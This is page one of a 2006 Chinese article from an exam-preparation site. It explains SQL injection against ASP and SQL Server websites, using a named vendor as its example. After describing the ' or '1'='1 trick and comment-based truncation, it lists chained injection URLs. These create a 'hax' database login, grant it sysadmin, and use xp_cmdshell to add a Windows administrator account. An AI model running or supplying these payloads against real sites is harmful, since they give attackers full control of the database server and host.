考试网 >> IT认证 >> 水平 >> 系统工程师 >> SQL数据库的一些攻击

SQL数据库的一些攻击

发布时间:2006-06-28 02:35     点击:
分页:[1] 2  下一页

  关于数据库的简单入侵和无赖破坏,以天融信做例子。

  对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!   

  这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec  sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....    这种方法请求数据库,那么如果还用以上的例子就会    news.asp?id=2;exec sp_addlogin hax   变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...   整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方 法   news.asp?id=2;exec sp_addlogin hax;--    后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!   

  那么我们连一起来用吧。   

news.asp?id=2;exec master.dbo.sp_addlogin hax;--   

news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--   

news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--   

news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes 

/active:yes /add';--   

news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--   

分页:[1] 2  下一页
版权申明:未经书面授权请勿转载本站信息!!作品版权归所属媒体与作者所有!!
发表评论: 匿名发表 用户名: 查看评论
您将承担一切因您的行为、言论而直接或间接导致的民事或刑事法律责任
留言板管理人员有权保留或删除其管辖留言中的任意内容
本站提醒:不要进行人身攻击。谢谢配合。
在本站搜索相关信息
2003-2005 Ksw123.com All Rights Reserved. - TOP
Copyright © 2006 Ksw123.com. All rights reserved.中国考题网 版权所有